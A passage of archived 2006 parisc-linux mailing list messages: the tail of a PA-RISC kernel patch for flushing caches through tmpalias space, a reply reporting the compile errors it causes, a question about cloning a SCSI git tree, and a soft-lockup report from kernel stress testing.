 
 	rfir
 	nop
@@ -1427,7 +1422,7 @@
 	nop
 
 nadtlb_check_flush_20:
-	bb,>=,n          pte,_PAGE_FLUSH_BIT,nadtlb_emulate
+	bb,>=,n          pte,_PAGE_FLUSH_BIT,nadtlb_check_alias_20
 
 	/* Insert a "flush only" translation */
 
@@ -1442,6 +1437,16 @@
 
 	rfir
 	nop
+
+	
+nadtlb_check_alias_20:
+	do_alias	spc,t0,t1,va,pte,prot,nadtlb_emulate
+
+	idtlbt          pte,prot
+
+	rfir
+	nop
+
 #endif
 
 nadtlb_emulate:
@@ -1528,7 +1533,7 @@
 	get_pgd		spc,ptp
 	space_check	spc,t0,itlb_fault
 
-	L3_ptep		ptp,pte,t0,va,itlb_fault
+	L3_ptep		ptp,pte,t0,va,itlb_check_alias_20w
 
 	update_ptep	ptp,pte,t0,t1
 
@@ -1539,6 +1544,14 @@
 	rfir
 	nop
 
+itlb_check_alias_20w:
+	do_alias	spc,t0,t1,va,pte,prot,itlb_fault
+
+	iitlbt          pte,prot
+
+	rfir
+	nop
+
 #else
 
 itlb_miss_11:
@@ -1546,7 +1559,7 @@
 
 	space_check	spc,t0,itlb_fault
 
-	L2_ptep		ptp,pte,t0,va,itlb_fault
+	L2_ptep		ptp,pte,t0,va,itlb_check_alias_11
 
 	update_ptep	ptp,pte,t0,t1
 
@@ -1563,12 +1576,27 @@
 	rfir
 	nop
 
+itlb_check_alias_11:
+
+	do_alias	spc,t0,t1,va,pte,prot,itlb_fault
+
+	mfsp		%sr1,t0
+	mtsp		spc,%sr1
+
+	iitlba          pte,(%sr1,va)
+	iitlbp          prot,(%sr1,va)
+
+	mstp		t0,%sr1		/* Restore sr1 */
+
+	rfir
+	nop
+
 itlb_miss_20:
 	get_pgd		spc,ptp
 
 	space_check	spc,t0,itlb_fault
 
-	L2_ptep		ptp,pte,t0,va,itlb_fault
+	L2_ptep		ptp,pte,t0,va,itlb_check_alias_20
 
 	update_ptep	ptp,pte,t0,t1
 
@@ -1576,6 +1604,14 @@
 
 	f_extend	pte,t0	
 
+	iitlbt          pte,prot
+
+	rfir
+	nop
+	
+dtlb_check_alias_20:
+	do_alias	spc,t0,t1,va,pte,prot,itlb_fault
+	
 	iitlbt          pte,prot
 
 	rfir
Index: arch/parisc/kernel/pacache.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/pacache.S,v
retrieving revision 1.21
diff -u -r1.21 pacache.S
--- arch/parisc/kernel/pacache.S	6 Oct 2005 04:41:47 -0000	1.21
+++ arch/parisc/kernel/pacache.S	1 Jan 2006 17:26:27 -0000
@@ -479,8 +479,8 @@
 
 	/* Purge any old translations */
 
-	pdtlb		0(%r28)
-	pdtlb		0(%r29)
+	pdtlb,l		0(%r28)
+	pdtlb,l		0(%r29)
 
 	ldi		64, %r1
 
@@ -563,7 +563,7 @@
 
 	/* Purge any old translation */
 
-	pdtlb		0(%r28)
+	pdtlb,l		0(%r28)
 
 #ifdef CONFIG_64BIT
 	ldi		32, %r1			/* PAGE_SIZE/128 == 32 */
@@ -797,7 +797,6 @@
 
 	.procend
 
-#if 0
 	/* Currently not used, but it still is a possible alternate
 	 * solution.
 	 */
@@ -809,10 +808,11 @@
 	.callinfo NO_CALLS
 	.entry
 
-	tophys_r1		%r26
-
 	ldil		L%(TMPALIAS_MAP_START), %r28
 #ifdef CONFIG_64BIT
+#if (TMPALIAS_MAP_START >= 0x80000000)
+	depdi		0, 31,32, %r28		/* clear any sign extension */
+#endif
 	extrd,u		%r26, 56,32, %r26	/* convert phys addr to tlb insert format */
 	depd		%r25, 63,22, %r28	/* Form aliased virtual address 'to' */
 	depdi		0, 63,12, %r28		/* Clear any offset bits */
@@ -824,7 +824,7 @@
 
 	/* Purge any old translation */
 
-	pdtlb		0(%r28)
+	pdtlb,l		0(%r28)
 
 	ldil		L%dcache_stride, %r1
 	ldw		R%dcache_stride(%r1), %r23
@@ -861,7 +861,67 @@
 	.exit
 
 	.procend
+
+	.export		flush_alias_i_page
+	
+flush_alias_i_page:
+	.proc
+	.callinfo NO_CALLS
+	.entry
+
+	ldil		L%(TMPALIAS_MAP_START), %r28
+#ifdef CONFIG_64BIT
+#if (TMPALIAS_MAP_START >= 0x80000000)
+	depdi		0, 31,32, %r28		/* clear any sign extension */
 #endif
+	extrd,u		%r26, 56,32, %r26	/* convert phys addr to tlb insert format */
+	depd		%r25, 63,22, %r28	/* Form aliased virtual address 'to' */
+	depdi		0, 63,12, %r28		/* Clear any offset bits */
+#else
+	extrw,u		%r26, 24,25, %r26	/* convert phys addr to tlb insert format */
+	depw		%r25, 31,22, %r28	/* Form aliased virtual address 'to' */
+	depwi		0, 31,12, %r28		/* Clear any offset bits */
+#endif
+
+	/* Purge any old translation */
+
+	pitlb,l		0(%sr0,%r28)
+
+	ldil		L%dcache_stride, %r1
+	ldw		R%dcache_stride(%r1), %r23
+
+#ifdef CONFIG_64BIT
+	depdi,z		1, 63-PAGE_SHIFT,1, %r29
+#else
+	depwi,z		1, 31-PAGE_SHIFT,1, %r29
+#endif
+	add		%r28, %r29, %r29
+	sub		%r29, %r23, %r29
+
+1:      fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	fic,m		%r23(%sr4,%r28)
+	CMPB<<		%r28, %r29, 1b
+	fic,m		%r23(%sr4,%r28)
+
+	sync
+	bv		%r0(%r2)
+	nop
+	.exit
+
+	.procend
 
 	.export flush_user_dcache_range_asm
 


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re:[parisc-linux] [PATCH] flush our cache through tmpalias space
Date: Thu, 22 Jun 2006 14:26:58 +0200
Lines: 124
Approved: news@gmane.org
Message-ID: <J19H8Y$5FC9EAB4B6B122ADCFD9845E4F88D512@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624118 20034 80.91.229.3 (22 Nov 2014 02:41:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:58 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "James.Bottomley" <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Jun 2006 12:27:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx003) with SMTP; 22 Jun 2006 14:27:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CA03E7D6A5;
	Thu, 22 Jun 2006 06:27:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12130-03; Thu, 22 Jun 2006 06:27:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 216997D6A6;
	Thu, 22 Jun 2006 06:27:10 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DC98B7D6A3
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Jun 2006 06:27:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10868-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Jun 2006 06:27:03 -0600 (MDT)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id 6B8C07D69B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 22 Jun 2006 06:27:03 -0600 (MDT)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41])
	by weequay.is.scarlet.be  with ESMTP id k5MCQwr04032;
	Thu, 22 Jun 2006 14:26:59 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: z/3zKwAcMydynYigZWpluEFraGRhZtoJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23779

Hello James,

> One of the current disadvantages parisc has is that we have to walk the=

> inode mapping list to do a flush_dcache_page(), which means we get
> entangled in locking.  The reason we do this is because a VIPT cache
> can't be flushed without a mapping, so we have to find one to use
> 
> The intent of this patch is to instead flush through the tmpalias space=

> on the correct congruence boundary which would dispense with the need
> for finding a mapping at all.  However, in the current incarnation we
> still walk the mappings to check that all the usermappings are, indeed,=

> on the correct congruence boundary.  Unfortunately, as you'll see if yo=
u
> try it out, not all are ... which is a bit of a problem.
> 
I would so but:
make -f /usr/src/linux-2.6.17-pa3/scripts/Makefile.build obj=3Darch/paris=
c/kernel
  gcc -Wp,-MD,arch/parisc/kernel/.cache.o.d  -nostdinc -isystem
/usr/lib/gcc/hppa-linux-gnu/4.0.4/include -D__KERNEL__ -Iinclude -Iinclud=
e2
-I/usr/src/linux-2.6.17-pa3/include -include include/linux/autoconf.h
-I/usr/src/linux-2.6.17-pa3/arch/parisc/kernel -Iarch/parisc/kernel -Wall=

-Wundef -Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-comm=
on
-O2 -fomit-frame-pointer -pipe -mno-space-regs -mfast-indirect-calls
-mdisable-fpregs -ffunction-sections -march=3D1.1 -mschedule=3D7200
-Wdeclaration-after-statement -Wno-pointer-sign  -D"KBUILD_STR(s)=3D#s"
-D"KBUILD_BASENAME=3DKBUILD_STR(cache)"  -D"KBUILD_MODNAME=3DKBUILD_STR(c=
ache)" -c
-o arch/parisc/kernel/cache.o /usr/src/linux-2.6.17-pa3/arch/parisc/kerne=
l/cache.c
/usr/src/linux-2.6.17-pa3/arch/parisc/kernel/cache.c: In function
'flush_dcache_page':
/usr/src/linux-2.6.17-pa3/arch/parisc/kernel/cache.c:305: warning: implic=
it
declaration of function 'flush_dcache_tmpalias_page'
/usr/src/linux-2.6.17-pa3/arch/parisc/kernel/cache.c:307: warning: implic=
it
declaration of function 'flush_icache_tmpalias_page'
/usr/src/linux-2.6.17-pa3/arch/parisc/kernel/cache.c: At top level:
/usr/src/linux-2.6.17-pa3/arch/parisc/kernel/cache.c:373: warning: confli=
cting
types for 'flush_dcache_tmpalias_page'
/usr/src/linux-2.6.17-pa3/arch/parisc/kernel/cache.c:305: warning: previo=
us
implicit declaration of 'flush_dcache_tmpalias_page' was here
/usr/src/linux-2.6.17-pa3/arch/parisc/kernel/cache.c:387: warning: confli=
cting
types for 'flush_icache_tmpalias_page'
/usr/src/linux-2.6.17-pa3/arch/parisc/kernel/cache.c:307: warning: previo=
us
implicit declaration of 'flush_icache_tmpalias_page' was here
/usr/src/linux-2.6.17-pa3/arch/parisc/kernel/cache.c:400:29: error: macro=

"flush_icache_page" passed 3 arguments, but takes just 2
/usr/src/linux-2.6.17-pa3/arch/parisc/kernel/cache.c:401: error: syntax e=
rror
before '{' token
/usr/src/linux-2.6.17-pa3/arch/parisc/kernel/cache.c:404: error:
'flush_icache_page' undeclared here (not in a function)
/usr/src/linux-2.6.17-pa3/arch/parisc/kernel/cache.c:404: warning: type
defaults to 'int' in declaration of 'flush_icache_page'
make[2]: *** [arch/parisc/kernel/cache.o] Error 1

I suppose that warning could be easily avoid by puting those funxtion
declaration in some header like include/asm-parisc/cacheflush.h:
[snip]
extern void flush_dcache_tmpalias_page(unsigned long vaddr, unsigned long=
 paddr);
extern void flush_icache_tmpalias_page(unsigned long vaddr, unsigned long=
 paddr);

[snip]


> James
> 
> ? arch/parisc/kernel/test.c
> ? arch/parisc/kernel/test.o.nonvolatile
> Index: arch/parisc/kernel/cache.c
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
> RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/cache.c,v
> retrieving revision 1.28
> diff -u -r1.28 cache.c
> --- arch/parisc/kernel/cache.c	17 Dec 2005 17:21:16 -0000	1.28
> +++ arch/parisc/kernel/cache.c	1 Jan 2006 17:26:25 -0000
[snip
> +
> +void flush_icache_page(struct vm_area_struct *vma, struct page *page,
> +		       unsigned long vaddr)
> +{
> +	flush_alias_i_page(page_to_pfn(page)<<PAGE_SHIFT, vaddr);
> +}
> +EXPORT_SYMBOL(flush_icache_page);
> +
[snip]

but the actual error came from the fact that this same
include/asm-parisc/cacheflush.h already define a macro of the same name:
[snip]
#define flush_icache_page(vma,page)     do { flush_kernel_dcache_page(pag=
e);
flush_kernel_icache_page(page_address(page)); } while (0)
[snip]

TIA,
    Joel=0A=0A----------=0AClub Scarlet : Tout le monde gagne! Si vous de=
venez aujourd'hui Scarlet One grace a un client existant de Scarlet, vous=
 recevez tous les deux un cadeau d'une valeur de 50 euros! Surfez vite su=
r http://www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] git/jejb/scsi-misc-2.6.git access?
Date: Fri, 23 Jun 2006 09:00:35 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <J1AWSZ$9C8307C557A6CEB38F7C045C4E320036@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624118 20035 80.91.229.3 (22 Nov 2014 02:41:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:58 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "James.Bottomley" <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Jun 2006 07:01:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx083) with SMTP; 23 Jun 2006 09:01:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 05A847D6BA;
	Fri, 23 Jun 2006 01:01:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19350-07; Fri, 23 Jun 2006 01:01:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 059EC7D6B6;
	Fri, 23 Jun 2006 01:01:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 616287D6B1
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Jun 2006 01:01:03 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19272-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Jun 2006 01:01:02 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id E6F437D6AE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 23 Jun 2006 01:01:01 -0600 (MDT)
Original-Received: from (everest.is.scarlet.be [193.74.71.40]) 
	by oola.is.scarlet.be  with ESMTP id k5N70eA03646; 
	Fri, 23 Jun 2006 09:00:54 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 1eTydxUyeWU3uq2TZm9ndjUrL0tsZs0C
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23780

Hello James,

I also read that your scsi work was merge for future 2.6.18 and try to gr=
ab it
with following method:
git clone http://www.kernel.org/pub/scm/linux/kernel/git/jejb/scsi-misc-2=
.6

but failed with following message:
Cannot get remote repository information.
Perhaps git-update-server-info needs to be run there?

Any other way to grab this work (specialy interested in 53c7100 and ncr53=
c8xx
for my d380 and c110 parisc-linux boxes)?

TIA,
    Joel=0A=0A----------=0AClub Scarlet : Tout le monde gagne! Si vous de=
venez aujourd'hui Scarlet One grace a un client existant de Scarlet, vous=
 recevez tous les deux un cadeau d'une valeur de 50 euros! Surfez vite su=
r http://www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Back to "BUG: soft lockup detected on CPU#0" [Was:
 N4k also ran 7days
 my stress test: k 2.6.17-pa3 + gcc-3.3 [followup]]
Date: Mon, 03 Jul 2006 19:39:10 +0000
Lines: 138
Approved: news@gmane.org
Message-ID: <44A9725E.50900@tiscali.be>
References: <449D1F9D.3080604@tiscali.be> <44A65C24.7000708@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624119 20040 80.91.229.3 (22 Nov 2014 02:41:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:32 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jul 2006 19:39:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx076) with SMTP; 03 Jul 2006 21:39:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D53397D64D;
	Mon,  3 Jul 2006 13:39:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02531-06; Mon, 3 Jul 2006 13:39:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 592EB7D650;
	Mon,  3 Jul 2006 13:39:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7E8967D64C
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Jul 2006 13:39:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02531-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 3 Jul 2006 13:39:22 -0600 (MDT)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id 0318A7D62E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  3 Jul 2006 13:39:21 -0600 (MDT)
Original-Received: from (ip-62-235-233-164.dial.scarlet.be [62.235.233.164])
	by weequay.is.scarlet.be  with ESMTP id k63JdFx25742;
	Mon, 3 Jul 2006 21:39:15 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.13) Gecko/20060620 Debian/1.7.13-0.2
X-Accept-Language: en
In-Reply-To: <44A65C24.7000708@tiscali.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LBfbZHlweSE5qr6WZHQhKEJ2IGRvb8Dr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23781



Joel Soete wrote:
> Hello all,
> 
> Same success with k 2.6.17-pa3 compiled also with gcc-3.3 and same tests.
> 
> # uname -a
> Linux patst006 2.6.17-pa3-n4kmp #2471 SMP Fri Jun 23 15:39:23 CEST 2006 
> parisc64 GNU/Linux
> 
> This doesn't yet include Jejb's do_gettimeofday() patch.
> 
> top - 13:06:57 up 7 days, 20:47,  3 users,  load average: 6.63, 6.47, 6.82
> Tasks:  84 total,   4 running,  80 sleeping,   0 stopped,   0 zombie
> Cpu0  : 10.6% us, 89.4% sy,  0.0% ni,  0.0% id,  0.0% wa,  0.0% hi,  
> 0.0% si
> Cpu1  : 75.0% us,  6.7% sy,  0.0% ni,  0.0% id,  0.0% wa,  0.0% hi, 
> 18.3% si
> Mem:   4113812k total,  3859048k used,   254764k free,   496240k buffers
> Swap:   250872k total,        4k used,   250868k free,   287936k cached
> Change delay from 1.0 to:
>   PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  P WCHAN     
> COMMAND
> 18375 root      21  -4  3524 1020  816 R   97  0.0   0:02.05 0 intr_chec 
> tar
> 18381 root      21  -4 15320  13m 2756 R   77  0.3   0:01.06 1 intr_chec 
> cc1
>  1095 gkrellmd  15   0  5256 1488 1108 S   17  0.0   1925:59 1 select    
> gkrellmd
> 18371 root      21  -4 25064  22m 2852 R    6  0.6   0:02.34 1 intr_retu 
> cc1
> 28865 root      16   0  2976 1436 1096 R    3  0.0 300:37.48 0 184467440 
> top
> [snip]
> 
> I am now curious to rebuild exactely the same src/config with gcc-4.1?
> 
Well, only few hours:

top - 22:48:32 up  9:46,  5 users,  load average: 5.37, 6.23, 6.51
Tasks:  77 total,   1 running,  76 sleeping,   0 stopped,   0 zombie
Cpu0  :  1.0% us,  7.5% sy,  0.0% ni,  6.0% id, 85.4% wa,  0.0% hi,  0.0% si
Cpu1  :  1.0% us, 14.5% sy,  0.0% ni,  0.0% id, 66.5% wa,  0.0% hi, 18.0% si
Mem:   4114224k total,  3924572k used,   189652k free,   473008k buffers
Swap:   250872k total,        4k used,   250868k free,   334900k cached

BUG: soft lockup detected on CPU#0!
Backtrace:
  [<00000000101122b0>] dump_stack+0x18/0x28
  [<0000000010171b50>] softlockup_tick+0x128/0x158
  [<00000000101518f0>] run_local_timers+0x28/0x38
  [<0000000010152660>] update_process_times+0x58/0xd8
  [<000000001011cb98>] smp_do_timer+0x70/0x80
  [<00000000101134cc>] timer_interrupt+0xdc/0x1e0
  [<0000000010171cf4>] handle_IRQ_event+0x74/0xd0
  [<0000000010171e0c>] __do_IRQ+0xbc/0x268
  [<0000000010113e04>] do_cpu_irq_mask+0x114/0x1e0
  [<0000000010104074>] intr_return+0x0/0x1c

I will so now apply jejb's do_gettimeofday() patch and see.

Joel

> 
> Joel Soete wrote:
> 
>> Hello all,
>>
>> There was a very first hypothesis that I wanted to get rid: this 
>> testing n4k could have some hw broken?
>>
>> As I don't have access to fine hp diagnostics (iirc passwd requested) 
>> and I remember that some old kernel seems to works fine, I tried to 
>> re-compile 2.6.8.1 + latest kyle's patches. Well, it failed to rebuild 
>> with default gcc (4.1 right now) but succeded with gcc-3.3.
>>
>> Finaly, this kernel builded as smp 64bit ran 7days continioulsy 
>> without any failure of any kind my 2 stress test loop:
>> one stressing a bit io
>> # while true ; do nice -n -4 tar -xspf linux-2.6.11-pa4.tar; nice -n 
>> -4 rm -rf linux-2.6.11-pa4; date; done
>>
>> another to stress a bit cpu
>> # while true ; do make clean ; make oldconfig ; nice -n -4 make -j2 
>> vmlinux 2>&1 | tee -a /var/logs/k-loop; done
>>
>> # grep "LD      vmlinux" k-loop | wc -l
>> 495
>>
>> # uname -a
